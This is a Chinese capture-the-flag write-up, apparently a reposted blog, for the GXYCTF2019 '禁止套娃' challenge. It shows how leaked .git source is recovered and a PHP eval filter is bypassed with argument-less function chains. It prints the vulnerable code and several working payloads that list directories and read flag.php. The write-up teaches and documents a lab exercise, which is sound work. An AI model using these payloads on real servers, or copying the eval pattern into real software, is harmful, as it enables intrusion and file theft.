[GXYCTF2019]禁止套娃-无参数rce详细分析(代码审计三)

[GXYCTF2019]禁止套娃

做这个题的时候是不知道禁止套娃是什么意思的,等完全理解((?R)?\)\)了这个正则匹配表达式以后就可以明白,所谓的套娃就是什么

考点:

无参数rce

信息泄露

利用dirsearch开延时,会扫出来.git相关的泄露,利用githack将源码down下来

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    
    
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
    
    
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
    
    
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
    
    
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
    
    
                die("还差一点哦!");
            }
        }
        else{
    
    
            die("再好好想想!");
        }
    }
    else{
    
    
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

代码审计分析:

第一个判断:匹配了所有的文件读取

第二个判断:此处匹配为递归替换,将所有的格式为函数空参数的替换为null,然后判断最后是否为分号

第三个判断:匹配了部分关键函数的关键词

以上三个条件都满足的话,会是执行eval函数了

扫盲:

PHP current() 函数:返回数组中的当前元素的值,不过该函数不会移动数组内部指针与pos()函数用法一致。

PHP localeconv() 函数:返回一个包含本地数字及货币格式信息的数组。在此题中利用的是他的第一个value=’.’,利用current()函数与其结合就能实现返回值为一个点

PHP scandir() 函数:累出目录中的文件和目录,就想是在linux系统下的ls -al

扫描二维码关注公众号,回复: 13596876 查看本文章

PHP print_r() 函数:用于打印变量,以更容易理解的形式展示。

利用以上这三个函数就可以实现打印出目录中的文件或目录:

?exp=print_r(scandir(current(localeconv())));

姿势展示(可以利用以下payload来本地试验):

姿势一:

PHP array_rand() 函数:返回一个包含随机键名的数组

PHP array_flip() 函数:反转数组中的键名和对应关联的键值

此处如果没有flip函数的话,返回值只能是健值

?exp=highlight_file(array_rand(array_flip(scandir(current(localeconv()))));

姿势二:

PHP array_reverse() 函数:以相反的顺序返回数组

PHP next() 函数:将数组中的内部指着指向下一个元素并输出与current()函数结合使用

PHP readfile() 函数:函数读取一个文件,并写入到输出缓冲。如果成功,该函数返回从文件中读入的字节数。如果失败,该函数返回 FALSE 并附带错误信息。

?exp=readfile(next(array_reverse(scandir(current(localeconv())))));

姿势三:

利用会话中的内容来实现定位读取(这里前提是已经知道了文件名)

session_id():可以获取到当前的会话ID.

session_start():会创建新会话或者重用现有会话。如果通过 GET 或者 POST 方式,或者使用 cookie 提交了会话 ID, 则会重用现有会话。

因为SessionID是存放在客户端的cookie中的,所以我们必须手动设置会话ID为flag.php来读取到其中的内容,会话id需要为=PHPSESSID

?exp=readfile(session_id(session_start()));

技术支持:

王叹之

猜你喜欢

转载自blog.csdn.net/qq_50589021/article/details/117468865